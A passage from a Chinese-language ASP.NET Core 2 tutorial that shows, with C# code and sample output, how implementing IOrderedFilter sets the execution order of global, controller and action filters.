[鐵人賽 Day14] ASP.NET Core 2 系列 - Filter - 執行順序

但也可以透過實作 IOrderedFilter 更改執行順序。例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class ActionFilter : Attribute, IActionFilter, IOrderedFilter
{
    public string Name { get; set; }

    public int Order { get; set; } = 0;

    public void OnActionExecuting(ActionExecutingContext context)
    {
        context.HttpContext.Response.WriteAsync($"{GetType().Name}({Name}) in. \r\n");
    }
    public void OnActionExecuted(ActionExecutedContext context)
    {
        context.HttpContext.Response.WriteAsync($"{GetType().Name}({Name}) out. \r\n");
    }
}

在註冊 Filter 時帶上 Order,數值越小優先權越高。

1
2
3
4
5
6
7
8
9
10
11
// ...
public class Startup
{
    public void ConfigureServices(IServiceCollection services)
    {
        services.AddMvc(config =>
        {
            config.Filters.Add(new ActionFilter() { Name = "Global", Order = 3 });
        });
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
// ...
namespace MyWebsite.Controllers
{
    [ActionFilter(Name = "Controller", Order = 2)]
    public class HomeController : Controller
    {
        [ActionFilter(Name = "Action", Order = 1)]
        public void Index()
        {
            Response.WriteAsync("Hello World! \r\n");
        }
    }
}

變更執行順序後的輸出內容:

1
2
3
4
5
6
7
ActionFilter(Action) in. 
ActionFilter(Controller) in. 
ActionFilter(Global) in. 
Hello World! 
ActionFilter(Global) out. 
ActionFilter(Controller) out. 
ActionFilter(Action) out.

參考

ASP.NET Core Filters